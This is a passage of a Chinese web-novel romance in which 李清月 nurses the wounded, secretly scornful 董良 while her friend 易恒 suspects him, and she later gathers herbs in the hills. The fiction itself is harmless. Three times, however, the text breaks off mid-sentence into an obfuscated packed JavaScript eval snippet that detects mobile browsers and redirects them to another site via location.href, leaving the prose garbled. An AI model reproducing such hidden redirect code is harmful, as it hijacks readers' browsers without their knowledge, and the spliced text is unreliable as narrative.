李清月感觉额头一片痒意,像被动物毛发蹭来蹭去,耳畔的声音震得一阵酥麻,“噌”的直起身。 “是该歇会了,之恒,我渴了。” 董良点点头走去里屋给她倒水,而易恒则看着这“如胶似漆”的两个人,胸中生起一团无名火。 喝完茶水,董良从屋子里拿出几幅卷着的字画来,递给李清月:“清月,这是昨日我照着记忆粗略描摹的几幅,不若今日便带到镇上去,问问看。” 李清月如获珍宝般捧着画,点点头说:“我待会施完肥就去镇上,打听打听哪家书肆肯收。” “我身体多有不便,恐怕不能和你一起去……” “我去。”易恒忽然拿过字画道。 “你去?”李清月有些错愕的抬头,“镇上很远的。” 易恒点点头道:“昨日走过一趟,确实不近,所以我不放心你一个人去,你在家呆着就好。” 李清月低下头犹豫着,董良忽然从旁开口:“那不如就由易兄代劳吧,他说的不无道理,若非我爱莫能助,原本也不该让你去。” 易恒冷下脸,盯着董良面带笑意的眼神,不知道其中藏了多少恶意,或许顺着话说也是为了支开自己,包藏祸心。 但他必须要去,因为除了要帮李清月——他还要入城打探,撕开这只狐狸的真面目。 易恒趁天色尚早即可便动身了,李清月与董良用过午饭后决意在村子附近走走。 董良看倦了村子的景色,二人走到不远的一个小山坡,地处中原、坡度平坦开阔,入秋的景色大多萧条乏味,可这里的花却像开不尽一样繁盛,散的漫山遍野。草坪不如春夏那般翠绿了,但不妨碍它如此蓬勃盎然。 秋风卷过这里都变轻了,让人不自觉慢下脚步。李清月看着满地花团锦簇,忍不住蹲下津津有味的端详着小野花。 “之恒!你看这些花,城里可看不到,”她低头嗅了嗅,“唔,香香的。” 董良走着走着便跟着李清月停下了,放眼望去竟然看不出秋天的凉薄,好似世界跟着这个小姑娘暖起来了。 “嗯,确实少见,”他破天荒弯下腰,想要折一朵别到她的耳发旁,手心却被轻轻搁下一朵淡蓝的花。 “这个送你,不要摘了它们,不然来年就看不到了。” “来年?”董良愣了愣。 “嗯,来年我们还来这里看花,春天这里会更漂亮,还有蝴蝶、碧草,满溢的花香。” 董良看着她仰起的小脸,染着浅淡的绯红,应该是话到激动处,情绪高涨所致吧。 她明亮的眼中盛满了期许,董良鬼使神差点了点头,耳根也红了。 李清月笑意盈盈的说:“夏天我们可以摘果子;秋天我们可以看月亮;冬天能踩雪,还能赏梅花……” 董良听着渐渐收起笑意,眼睛一眨不眨的盯着她,好像盯着一颗娇艳欲滴的仙桃,想伸手把它摘下来。 “以后的事,现在去想也是无济于事。” 李清月怔愣的看着他,果然露出失望的神色,但转瞬又笑着站起身拍拍裙摆,故作不在意道:“你说的也是,我总是喜欢胡思乱想……那不提这些,我们再往里走走吧。” “我想回去了。” 李清月回过头,“……不再看看了吗?” 董良摇摇头说:“方才弯腰,可能绷到了伤口,腰腹有些刺痛。” 李清月慌张走过来,一通嘘寒问暖,董良忽然笑了,抬手学着易恒的样子摸了摸她的头。 方才看她佯装镇静的那股烦躁无影无踪了,都被逗弄这个傻子的优越感所取代。 回去的路上,借着这份好心情,董良顺着李清月的意思答应回去给她画幅画。 正走到村口,迎面撞见一个瘸子,此人一瘸一拐也就算了,还蓬头垢面、不衫不履。董良瞥了一眼便蹙起眉头,将李清月往身后带。 “劳驾让一下路。”董良语气不耐,心情全被这个脏东西毁了。 瘸子上下打量了一番他,又将目光黏在李清月身上。 “村里还有这样一位美娇娘?小娘子唤什么名讳啊。” 面对明晃晃的不怀好意,李清月当即就要发作,被董良拦下。 “烦请您让一下路。” 话虽克己复礼,声音却冰冷不含一丝谦逊。 “你是她男人?” 董良脸色沉下来,不等李清月发话,一脚踹在那人当胸,就此还不够,狠厉的出拳、拳拳到肉,片刻之内打得这个地痞动弹不得。 李清月错愕的愣在原地,不知该不该拦。她一直以为董良是个柔弱的白面书生,肩不能扛手不能抬,成日吟诗作赋,哪想到他竟然还会打架,下手这么狠辣,一言不合打得人半身不遂。 “你……” “怎么?” 董良转过身来的那一瞬,收敛了锋芒,弯下眉眼、若无其事的走过来,掸掸衣袖道:“了结了,走吧。” “他……” “放心,我力气不大又带着伤,不过是打疼了,腿脚不便站不起来罢了。” 李清月狐疑的在两人间来回打量,看见那人在地上疼得嗷嗷叫,最终只能安慰自己应当是错觉罢。 回了小破屋,李清月左思右想都觉得不对劲,但抬眼看着坐在桌边穿着一身青衫执笔的董良,眉目如画,举手投足都带着书卷气,要说他会打人也太“有辱斯文”了。 “好了吗?我能动动吗?” 董良抬头轻笑一声:“活动一下吧,但不要从椅子上离开。” 李清月失望的叹了口气,小幅度的活动着筋骨。虽然让董良给自己画画像是她提出来的,但长时间坐着不能动真是苦不堪言,她感觉自己就像坐在针板上、着了火一般,怎么都不能消停,屁股像虫子一样在椅子上扭来扭去。 董良也是颇为无奈,寥寥几笔勾勒了一副人像,思忖良久,在鬓发处加了一朵淡蓝的小花。 “画好了吗?” 董良点点头,“好了,墨还没有干,要晾一会。” 李清月跑过去一看,顿时两眼放光:“好漂亮!这是我吗?董良你真的有两把刷子啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074694|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>董良勾起嘴角道:“我只是略通皮毛,拿不出手的,没有画出你的俏皮可爱。” 李清月看着画像喜不自胜,“这里还有一朵花,是我今天送你那朵吗?” “是,这样它就不会凋败了。” 李清月反复看着这朵花,就像它真的别在了自己鬓发间,如沐春风。 “别看了,随我到伙房看看晚上吃什么吧。” “嗯!” 晚饭过后易恒才回来,风尘仆仆,将卖了字画的银两交付给李清月,刚拉着她要说些什么,就叫董良打断了。 “易兄,我有话与你相谈。” 易恒扫了董良一样,当他放屁一般不放在眼里,直到李清月开口劝了几句才不情不愿的应下。 李清月自觉扯了个理由出去了,独留这两个男人在屋里大眼瞪小眼。 “易兄。” “不必惺惺作态,有话快说。” 董良笑着坐下倒了杯茶,抿了一口,“既然你我都是聪明人,那我就直言不讳了。” 易恒抱臂靠在墙边,并不接茬。 “你今日进城,查了多少门户?” 他瞳孔骤缩,心中惊愕,依旧面无表情的说:“既然你已经知晓,应该也明白,花言巧语对我没有作用。” “是,我看你恐怕也不一定能听懂。” 易恒眯起眼睛看着董良,攥紧了袖中匕首。 董良不紧不慢喝完一杯茶道:“放心,我也不想多费口舌,只是想坦白,我确实没有什么危险的身份,更何况……我在这里又能图谋什么呢?” “图谋不轨,不需要理由。”易恒冷声说。 董良面带笑意把玩着茶杯道:“易恒,我知道你的心思,你又比我磊落多少呢?” “你喜欢李清月,是不是。” 易恒被戳中命脉,猛的直起身,刚要有动作,董良的下一句话就将他堵的哑口无言。 “你拿男人看待女人的目光妄想着李清月,可她却仍旧傻傻的将你当成朋友,你也将她蒙在鼓里,怎么能指责我欺瞒她?” “可你也……” 董良打断道:“我可不喜欢她。” 易恒愣住了,满脸难以置信。 董良忽然站起身走到李清月床边,易恒来不及阻止就见他拿出一副画像,画上的她笑得天真烂漫。 “这是我方才画给她的,今日我们一起在附近山坡散步,回来我想着她笑的模样画出来的。” 下一瞬,这张曾被视若珍宝的画被撕成了碎片,扔进火炉化为灰烬。 “看到了吗?她就像这张画一样,在我这里一文不值。” 易恒气红了眼冲过去揪住董良的衣领,“董良!你!” 董良挡住了打过来的拳头,压低声音:“我们如果打起来,你的清月会听到的,当然,我不会还手,毕竟我负伤在身。” “你到底想干什么。”易恒咬牙切齿的说。 “我只是想告诉你,别查了,你查不到我的,而我不会夺走你喜欢的人,我对她不感兴趣,”董良松开手整理衣襟,“你继续查下去反而会引火烧身,你倒是不怕,大可以浪迹天涯,但说不准李清月也会被牵连。还不如不要招惹我,待到伤好,我自会离开。” 易恒压着怒火吐出一句:“你怎么保证自己会不伤害月月,伤好就离开。” 董良走向门口,推开屋门轻声道:“你也没有别的选择了,我敢保证若你对我不利,我绝不会放过你。” 易恒攥紧了拳头,用力到指节发白,最终没有再吭声,他不敢拿李清月赌。 5. 饮鸩止渴 自那次剑拔弩张的“谈判”之后,易恒就如一只被扼住爪牙的虎豹,忽然收敛了锋芒与气焰,不再对董良吹毛求疵,无视了此人的存在只专心围着李清月团团转,董良也依旧摆出一副好说话的样子,吃饭时还会知会一声他。这在李清月眼里,便算是二人解除误会、重归于好了。 而对于那张无故“遗失”的画像,二人皆是保持缄默。 李清月伤心了一段时间便不再纠结了,因为她想到了另一个鬼点子,于是重整旗鼓开始在家专心练字。真可谓是“一文钱难倒英雄汉”,她没想过摆在面前的一个个“字”会叫她这样头疼。 她并非自小就不识字,虽然幼时顽皮并不好学,但也不是目光短浅之辈,知道识字有大学问、大作用在,跟着亲长读过一些书,只可惜天意难测,在她九岁那年突如其来的大病了一场。病来如山倒,病去如抽丝。那一年里李清月身子时常不好,弱不禁风,稍有些风吹草动就能叫她染上热病,一连许多天卧榻不能起。 那段时间她几乎什么都不做,大多是靠在床边出神,身边没有玩伴和亲眷,除了成日枯坐就是迷蒙着浅眠。病好之后随之而来的是茫然的恐惧,有时梦魇会不清楚自己是谁,因着连月的高烧反复、身体奇特的异状,之前许多年的记忆都被病痛冲刷得支离破碎,逐渐模糊,回想时如同隔着一场雨幕,冲淡了岁月的墨痕。 之后十岁那年,李清月便有了易恒这个玩伴,有人说话她的精神头便逐渐恢复了,性格也活泼好动起来,话总是一箩筐往外倒,心里藏不住事。只是那时她也有了新的课业,没再顾得上读书习字一事,也变得不再那么紧要。 识文断字,最讲求日积月累的磨砺与消化,方能学以致用、融会贯通。然而现在时隔十载,再让她拾起来此事,对于李清月这种三天打鱼两天晒网的人来说,难如登天。 她看着董良写给她的字帖,依葫芦画瓢的誊到纸上,怎么就变成了一个舞骚弄姿的鬼画符了呢? 百思不得其解之下,李清月凭着一腔热血写了十几张鬼画符。 董良看见时都惊呆于她的毅力,甘拜下风。 只见那些宣纸乱七八糟铺的满桌案都是,有的跟雪花一样散落在地上,墨渍飞溅得四处都是,坐在一旁写字的人都要将自己变成“墨人”了,衣裙斑驳,白净的脸上也不能幸免。 “你是怎么用这双手和这支笔画出这些字的?” 董良看着这一页页蝇头狂草,和她大花猫一样的脸,一时间哭笑不得。 “之恒,我已经够努力了……”李清月哭丧着脸,抬手胡乱用袖子抹了一把脸,将墨渍晕染的更融洽了,“这笔不听使唤,总是拐弯。” 董良避开脚下的纸张,脚步轻缓的走过去,犹豫着从怀里掏出锦帕递给李清月,又转头看了看被指控为罪魁祸首的那只笔——确实不算什么好笔,村塾借来的笔应该都是几个讲师共用的,经过岁月磋磨,笔尖早已分了岔,毛躁不堪,笔杆也磨出了木头本来的浆白色。 他无奈叹了口气,轻声道: “我们同使一支笔,纵使再难用,写出来也不会有天差地别。” 李清月没能狡辩成功,对于董良不近人情的拆穿,又让她暗自责怪这人太过冷漠,连句奉承的话也不愿说。 然而下一瞬,她的埋怨就一扫而空了,董良那因为伤病而有些单薄的身影缓缓俯下来,略显苍白的脸上收敛了笑容,此刻容颜淡漠,薄唇微微抿着。 李清月坐在一张腿脚不工整的椅子上,随着他的俯身整个人被囚在椅背里,感受着后背贴上来的炽热、头顶平稳的气息,香囊随动作卷起一阵兰香,缭绕在身侧,让她脸颊发烫。 这个动作就像被董良牢牢圈在怀里,动弹不得。 屋外的艳阳撒在桌上和他的侧脸上,眼睫也染上流光溢彩的洒金色,乌发松散的束着,此刻随着倾斜的身子散落下来,丝丝缕缕的挨着李清月的后颈,一片冰凉。 这凉意仿佛能解热一般,让李清月忍不住微微向蹭,得来微弱的痒意。 “罢了,手握好笔,我亲自教你。” 董良清润的声音在头顶响起,让人无端想到一捧山泉。 李清月忍着渴意,拿起桌上的笔,正襟危坐,不敢仰头看他。 纵火之人却没有丝毫紊乱,反而将胸膛压的更低,脸颊近乎与她齐平,抬手轻轻敲了一下怀里那人的手腕,看她纤细的腕子一颤,被自己的手虚握住。 “执笔的姿势都不对,如何能写稳?” 李清月感受着耳畔的呼吸,脸颊愈发红晕,微微颤栗。 待李清月手忙脚乱的调整好握笔姿势,董良再次覆上她的手,宽大的手掌轻轻包裹住,带动起笔尖在纸上徐徐书写。 李清月觉得自己脑中已然空白一片,心跳如擂鼓,什么读书习字,什么凡俗礼节,全都被抛到九霄云外了。 她终究没忍住偏头看向身边人,离那张白皙又清俊的脸太近,近到能看清面颊上的温度。嘴角那颗黑色的小痣愈发妖冶,失去了往日那副淡泊疏远,反而染上一股勾人的情欲,请君入瓮。 “李清月,盯着我看就能写好了吗?” 她慌忙回神,转过头绷紧了身体,盯着纸上行云流水的字迹,怔怔的说:“没,我刚刚……脖子疼,活动一下。” 董良挑了下眉,语气上挑道:“哦?是吗,那不如我帮你按一按。” 这简直是一个天大的诱惑,明面上的陷阱,李清月强忍着自愿往里跳的心思,僵硬的摇头道:“不,不用了,已经不疼了,一定是昨夜没睡好,落枕了。” 董良缓缓直起身,又带起一阵微弱的兰花香,清了清嗓子开口道:“既然昨夜落枕,今日不宜久坐,垂头练字恐怕会加重疼痛,还是起来到院里多活动活动吧。” 李清月做贼心虚的点点头,胡乱收拾着桌案上的废纸,身旁人抬脚刚要走,忽然感觉头皮一阵揪着疼,回头一看——竟是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074695|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才低垂的发丝与李清月挽发的簪子纠缠在一起,牢牢勾着玉簪上的花瓣。 两人面面相觑,一时都有些不知所措。 而屋里的人却不知道门口还站着一个人,一直静静的看着这一切,许久之后,待到秋风将他的手脚都吹得冰凉了,他才默默回首,转身走远了。 夜里两人都各怀心思睡下了,深更下了一场声势浩大的秋雨,丝缕的雨水打在门扉上,敲得董良阵阵心慌。 不堪重负的破屋屋顶漏下一滴雨水,打在他的脸上,彻底将身处梦魇的人惊醒了。 他本想坐起身,却发现全身瘫软无力,手脚冰凉。好冷,冷的他裹紧了棉被也无济于事,寒意像冰锥一样刺进骨肉,沿着四肢百骸不断涌起刺痛。 董良翻了个身,伸手抹掉脸上的雨渍,发现脸颊滚烫,身上全是冷汗,衣服黏在皮肤上,压得人喘不过来气。 “清月……” 他终于明白自己的状态有些不对劲,可病魔让大脑迷蒙一片,方才的梦魇又叫他心力交瘁,仿若沉在深海之中,口舌都被淹没。 “清月,清月……”董良勉力撑起身子,如今他不得不倚仗着和自己同屋而眠的姑娘,可对方睡得很沉,他声音又虚弱,唤了几声都没有动静。 董良拖着沉重的身体艰难下了床,顾不上穿戴整齐鞋袜,赤脚踩在微凉的地板上,摇摇晃晃走到李清月床边,轻轻推了她一下。 李清月舒展着眉眼正睡得香甜,不知道梦见什么了嘟囔了一下嘴,便没有了后文。 董良觉得自己真是脑子不正常了,勉强保持的理智随着分秒愈发涣散。 他居高临下的盯着李清月有些稚气的脸,忽然抬手,轻轻抚过她的面颊,那凉意解热不解渴,四下无人,他何不自取…… 董良喉结滚动,使劲按了按太阳穴让自己保持冷静,随后再次俯身在她耳边,带有私心的吹了一口气,让滚烫的温度落在她耳朵里。 “李清月,醒醒……我好像有些……” 他忽然一阵眩晕、身形不稳,慌乱的撑住床沿,这才没有砸在李清月的身上。 董良晃了晃脑袋,眉宇间染上痛苦身上的伤又疼了起来,他声音沙哑道:“李清月,你再不醒……我可就……” 床上的人似乎因为刚才床板那一晃,终于将要转醒,迷糊的睁开眼睛,看见面前的黑影吓了一跳,刚要出声被董良一把捂住嘴。 “别叫,是我。” 李清月听到董良的声音才惊魂未定的松了口气,正要发问,忽然察觉他体温不对,猛的坐起身握住董良的手摸了摸,又去探他的额头,果不其然,滚烫无比,还发着冷汗。 “之恒!你这是发热病了!” 董良半死不活的点点头,无力的掀起眼帘道:“我怕是……咳咳,吹风着了凉……” 没等话说完,那人就不知是因为神志不清、还是因为安下心来,再也没有强撑的力气,一头栽倒在李清月怀里。 6. 梦魇缠身 先是无尽的极寒,望不到边际的冰冷,那寒意像一只毒蝎,在身体里啃食着五脏六腑,就算用火烤也驱逐不尽,硬生生冷得人浑身打颤。 再然后便是炽热,像盛夏火辣的太阳,身上说不出的黏腻,脑中一片混沌,满心匮乏,好想踏实的睡一觉,却被梦魇搅得支离破碎。 他梦见一团熊熊烈火,将自己困在一间逼仄的房中,屋外张灯结彩、歌舞升平,却没有一丝光亮从门窗落进来。密密匝匝的黑暗中,伸手不见五指,火焰照不亮陈设,仿若凝固在一片黑雾中。他就蜷缩在床上,忍着满身的冷汗一阵阵颤栗,疼痛与恐惧催生出的呜咽几乎要溢出嘴角,被他硬生生吞进腹中。 还要忍多久才能从这个不见天日的囚笼中逃走? 他心中愈发绝望……直到听见有人在不远处唤他的名字。 “之恒……” 他微微蜷了一下手指。 “之恒……醒醒,你怎么了?” 一只微凉的手轻轻拨开他的额发,粘黏不爽的汗渍都由浸着温水的帕子揩去了,他的眉心也渐渐舒展开,不再颤抖。 那温柔一滴一滴如夜里的秋雨一般点在他的脸颊上,仿若身处一捧温润的山泉水中,身心舒畅。 “李清月……” 董良哑着嗓子开口,不说半句便想偏头轻咳。 “你终于醒了,”她松了口气,“我刚刚怎么唤你都不应,眉头紧锁一直在发抖。” 他缓缓掀起眼帘,看着坐在床边一脸关切的姑娘,忽感无措,微微启唇想说句什么,还是别过视线,乏力的撑着身子想坐起来。 李清月立即伸手去扶他,摸到一手腰侧滑腻的软肉,眼神不自觉去瞥,看见董良凌乱的衣衫下露出精壮的腰际,因为发热泛着微红,湿汗黏着单薄的里衣、寥寥几笔勾勒出身形的弧度,还有……李清月立即转开眼神,顾不上再想太多,引起一阵心悸。 董良面不改色的扯端正衣裳下摆,靠坐到床上,搁在以前他或许有心逗弄一下李清月,看看她是否会无措的屈服于自己的一句责备,只是此刻脑中还有头晕的余韵在作祟,神志难以清明。 “要……要喝水吗?” 董良微微点头,暗自在心中努力拼凑着昨夜的记忆,只可惜不知是不是被方才那只手“轻薄”了一下,半晌思绪依旧紊乱,索性不再去想。 李清月觑着他的神色,有种做贼心虚的把茶杯递给他,看着对方似是不打算追究方才的“冒犯”,心中狐疑:不是他自己提的“约法三章”,不准有过界的接触吗?怎么现下又不怪罪了。 对于算不算越界,李清月心中是有自己的一套说法的。想当年她大病一场差点烧坏了脑子,本就少的可怜的心眼也付之东流,那些东西之后也没人再教授给她,就连吃饭穿衣一开始也是依葫芦画瓢自己摸索着做的。简直和一只嫌弃穿衣麻烦的野猴一般,无拘无束惯了,自然不与端庄大方这些词沾边。 她心里一直觉得,自己捡到董良大概就是上天命定的缘分,看她这两年过的太苦、几经波折,赐金银珠宝这等身外俗物实在有失体统,所以送了个漂亮的人来陪自己。 李清月待他就如儿时玩伴易恒一般,自认为都是同吃一锅饭的家人、挚友。她与家人之间可从没有那么多繁琐冗长的礼节,一向都是随心所欲,幼时她还与易恒同睡一张床,同穿一条裤子呢,哪有什么男女之分? 但直到董良提出保持距离时,她才幡然醒悟,原来自己好像一直是错的,可什么是正确的,她也没有见过,只好听从这位学识渊博的公子。 “怎么了?”董良接过水喝下润喉,这才缓过来了一些,口舌的干燥冲淡了许多。 李清月赶忙回神摇了摇头,心里打消那些七上八下的念头,转而又开始忧心别的,紧蹙着眉头开口道:“你现在好些了吗?昨夜快将我吓死了,忽的一下立在我床前,还没开口说几句就直挺挺倒在我身上,我以为有人从背后捅了你一刀呢。” 董良模糊的忆起一些片段,好像是有这么一回荒唐事,只是事情原委早已无从考究,端出一副毫不知情的无辜样子来,说道:“是吗?我方才清醒,只记得昨夜迷蒙中有人抱我,原来是真的,看来应该是你。” 这一番颠倒黑白,他自己听了都想笑。 李清月听了无端背上趁夜欲行不轨的罪名,一时间连气都不知道从何开始,眨眨眼睛吐出一句无力的辩白:“明明是你……” “不记得了,”董良打死不承认,还硬要衬托自己善解人意,“无妨,左右我明白你是为了帮我治病才出此下策,我不会怪你。” 李清月看着眼前病中虚弱、致使脸色都有些苍白的翩翩公子,还真有些信了他的鬼话,顺着他的意思说下去了。 “你昨夜高烧不退,人都不清醒了,不记得也正常,不过幸好只是着凉引起的,并不算严重,今早已然退烧了。” 李清月说着转身将桌上的药碗端过来,小心的递到董良面前,“先把早上的药喝了,我起早煎的,此时已经不烫了,就是有些苦,不过我觉着你应当不会因为苦不喝药。” 董良打量了一下药汤,色泽上看不出什么古怪,不过若是她真有意害自己,也用不着这样麻烦的手段,于是便接过一饮而尽了。 “之恒,你这风寒来的并非蹊跷,”李清月接过空了的药碗,“你近些日子穿的太过单薄……村里没有什么好料子,这几件都是我从别家借来的,顶多只能凑合穿,可往后深秋隆冬……” “无妨。”他摇了摇头,不自觉拉紧了一些被子,感受着衣物粗糙的布料硌着皮肤,生出一丝厌烦,不过自己早晚都要离开,又何必拘泥这些小节。 李清月这会功夫已经盘算着要选什么颜色的料子、又去镇上哪里缝出成衣了,只可惜她不知道自己牵肠挂肚的人在想怎么快点离开这,还有些没心没肺的笑了一下道:“这个你不必担心,这几日只管静养便是,虽说只是小风寒,但你旧伤未愈,寒气入体最容易反复,还是小心为妙,一日三次药汤,也尽量不要下床,近日秋雨连绵,别再加重了。” 董良对此只是不咸不淡都点了点头,到底有没有在心谁也不知道,不过他倒是开始有些生疑,这个在乡野长大的丫头能有多大见识,怎么会对病症与用药了解的这般细密,初次相遇时也是波澜不惊的处理好自己的刀伤,以及那多日以来的换药、煎药。 董良曾仔细猜想过各种可能,但终究没有什么值得推敲的说法,再加上她对自己并不算差,虽有心提防,可日渐相熟中对方确实不过是个普通姑娘,还有些过于天真,不谙世事。 李清月起身收好药碗,翻动着药包里剩下的药材,董良多心问了一句:“易兄怎么不在?还没有起吗?” 李清月思及此处无比懊恼,一脸失落的转过头说:“他今早便走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074696|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “走了?”董良微微一愣。 李清月点点头,莫名有些委屈,“他明明答应我住满一月再走,却说有要事在身,十万火急,恐怕要早做筹备,今早便走了,此时应当已经进城了。” “进城了?”董良有些意外,微微眯起眼睛,这个易恒不像是冲动鲁莽的人,反而做事心有成算,再加之有武功傍身,心系着李清月,怎么走的那么匆忙……此事必然不会那么简单。 原本董良还打算再问些什么,但看着李清月一副泫然欲泣的模样,忽然有些说不出口,还是忍住没再发问,换了句话扯道:“这些风寒药都是从何而来?” 好在李清月没再多想,接着话茬说:“这些都是入秋前备下的,镇上远,药铺又只有两家,一入了秋冬便短缺药材,伤风止咳的更是难买,所以今年我早早就备下了。” 谈话间董良感觉喉头一股痛痒难耐,这嗓子随着主人也是几经波折,如今染病,说几句便想咳嗽,董良瞥了一眼桌上的茶杯,还是忍下了。 “我这一病恐怕要耗费不少吧。” 李清月摇摇头道:“没关系,我身子好,再者也并非遍寻不到,这些都是最寻常的药材,不是什么稀罕物……只是这下可麻烦了。” “怎么了?” “风寒药只剩下最后一包了。”李清月一脸犯难的说。 “无妨,热烧已然退了,夜里注意些便好了。”董良没有当回事,不过是寻常小病,再重的伤他都忍下来了,在鬼门关也算青史留名,多将养几日即可,也省得成日像个弱柳扶风的病秧子一般卧床不起。 李清月忽然摆出一脸正色,一改往日懒散心大的模样,仿若这是件关乎生死存亡的大事:“不行,药不能断,否则要落下病根的,往后的寒冬可就不好过了。” 董良有些意外的看着她,忘记了收敛神色,“那该怎么好?” 李清月丝毫没有犹豫,指着地上的破箩筐,不容置疑地说:“我去附近山头给你采草药。” 昨夜的那张秋雨真可谓气势恢宏,浩浩荡荡,让人以为盛夏的雷雨还萦绕在上空,与秋风纠缠不清。 天色黑压压的,村子附近也尽是土路,莫说山路,就是平地也熬成了糨糊,一踩一脚拖拖拉拉的泥水点,凡是干净人都不想在这种天出门,在外行路的大多是为了生计不得已风雨漂泊的人。 而且这秋雨不知何时还会再下一场,山路陡峭难行,越接近晨昏便越刺骨寒冷,此时孤身一人去到山里,若非老练之人,恐怕连尸骨都难寻。 董良自然是没有同意的,于情于理他都不该让一个小姑娘为自己上刀山下火海,他们非亲非故,虽然董良对她并无怜惜之意,却也没想过害她性命,更何况她若有事,自己很难忍受一个人住在这种穷乡僻壤,行事也多有不便。 可李清月就是这么倔,她打定主意的事没人能掺和,不知道是不是自小就这样,性格使然还是后天养成,偏偏还爱多想、爱钻牛角尖,不过之前也没人拦过她,就让她这么一路畅通无阻的长到现在。 李清月非要去,董良也没有再拦,现下天色尚早,她保证晚上一定能回来,她要董良乖乖在家等她,说这话时就像嘱咐为她暖床的丈夫一般,笑意盈盈的,没有丝毫畏惧。 或许是因此,董良忽然想信她一次,信她能做到,信她能平安回来,为此,他默许了在家守候的承诺。 7. 波澜不惊 山雨欲来风满楼,苍白的云沉甸甸的笼罩住日头,光亮戳不透其浓重肃穆的颜色,将人间都暗藏进一片萧瑟中。雨打风吹后,枯叶嵌进泥里掺成脏乱的土地,四处都飘着土腥气。 李清月背着箩筐走后董良便又迷迷糊糊的睡下了,再次醒来时,天色依旧黑压压的,看不出昼夜。 他身上的寒意退却了些许,眸中还有迷蒙,下意识唤了一声“清月”,半晌没人应才想起人已经走了。 董良恍惚的坐起身,环顾了一圈屋子,雨过的木屋带着潮湿的水汽,漏雨那处更显破败。 屋内除了他自己,一个人都没有。 他有心想喝杯热茶,哆嗦着下了床。刚离开被子全身都被冷风席卷,两扇屋门中间有一条小缝,窸窸窣窣的凉气就是从那吹进来的。 董良只好裹紧衣衫,手指轻轻碰了碰茶壶——果不其然,水都凉透了。 他盯着这壶凉透的水,忽然不可遏制的想起李清月。 若是她在,这间屋子兴许会像火炉一般,“呼哧呼哧”烧个不停,而自己只需要负责听着就行了。 有好一会董良都回不过身来,待他从纷乱的思绪中逐渐清醒时,全身上下都冻的发僵了,像一块浸在池水里的石头。 这是一座一眼望得到头的小山,离石坡村大约几里开外,小山无幸坐拥风水宝地,也没山泉灵水坐镇,再加之处在一片荒郊之中,背后没有大靠山,脚下无人居住,所以是一座无名之辈。 李清月从小在山里长大的,对于爬高上低这等绝活可谓是信手拈来,两年间为了搜刮凤毛麟角、万金良药,许多次一个人潜进山里,对地势轻车熟路,不过多久便找到了想要的药草。 只是走在泥泞不堪的山路牺牲了衣裙鞋袜兄,被泥土糊的斑驳陆离,当然她白净的小脸也未能幸免,每次一做事都跟着主子遭殃。 原是计划下午便能采完需要的药材,打道回府的,只可惜李清月有个天大的毛病——她一旦碰上关于草药这些事便同走火入魔了一般,陶醉的不省人事。采完一株还想要下一株、看见适宜生长的地处环境便想过去淘两把里面是否藏着药材,就如同一位老辣的淘金者,见钱眼开。 总之不管三七二十一,只要她上了山,不偷鸡摸狗一番是誓不罢休的。 待到她心满意足背着满满当当一箩筐的鸡零狗碎下山时,天色已然日暮西沉。她着急忙慌几乎是“滚”下山坡,临近官道时果不其然狠狠跌了一跤,手掌膝盖都呲破了皮,但想着家里还有一位郎君在等着她,李清月没有半分憋屈,撑着泥地就爬了起来,一身神清气爽,拾起散落的几株草药掷进箩筐里便背着继续走了。 来回十几里地的脚程,她却迈的很轻快,像一只轻盈的鸟雀,满心都是得意,家里那位还不知道自己有这般能耐吧,以为自己能采到草药是信口开河,却没想自己不仅采到了,多余的还能拿到镇上换不少银两,为他备件过冬的衣裳。 李清月揣摩着如意算盘,低头看了眼身上糊里糊涂的一身脏衣裙,思来想去还是决心先去镇上一趟把草药卖了再说,毕竟这种物件有的只有新鲜的最稀罕,过了时辰蔫巴了可要折损不少,平白让到口的银子都飞走了。 她又半途转弯,哼哧哼哧一路紧赶慢赶跑到邻镇上。 邻镇说是镇子也不过是比村大了点,叫了个洋气名字,实际上也没多么繁华,十里八乡的人大多都认识,嘴碎的平日里还会聚起来串个门说闲话,屁大点事不出半个时辰就能从街东边传到西边。 李清月背着筐子刚进了镇子没有一会,便有个伙计远远的喊叫着来了,正是“杏林堂”药铺老板的帮工。 他看见筐子便伸手要接,李清月没让,二人一道走去药铺,说是老板就知道李姑娘箭无虚发,必然带了好东西来。 杏林堂的老板是位风采依旧的温柔姐姐,近年刚接手了父亲的铺子,和家中入赘的夫婿一同打理,知道李清月一个人住对她多有照拂,天色昏暗这才派人来接。 “梓嫣姐,” 李清月人未到声先至,听着腔调就知道有好东西,里头的人赶紧从掌柜后边绕出来。 “娘呀,孩子你怎么这幅鬼样子,这是刚从山上回来?” 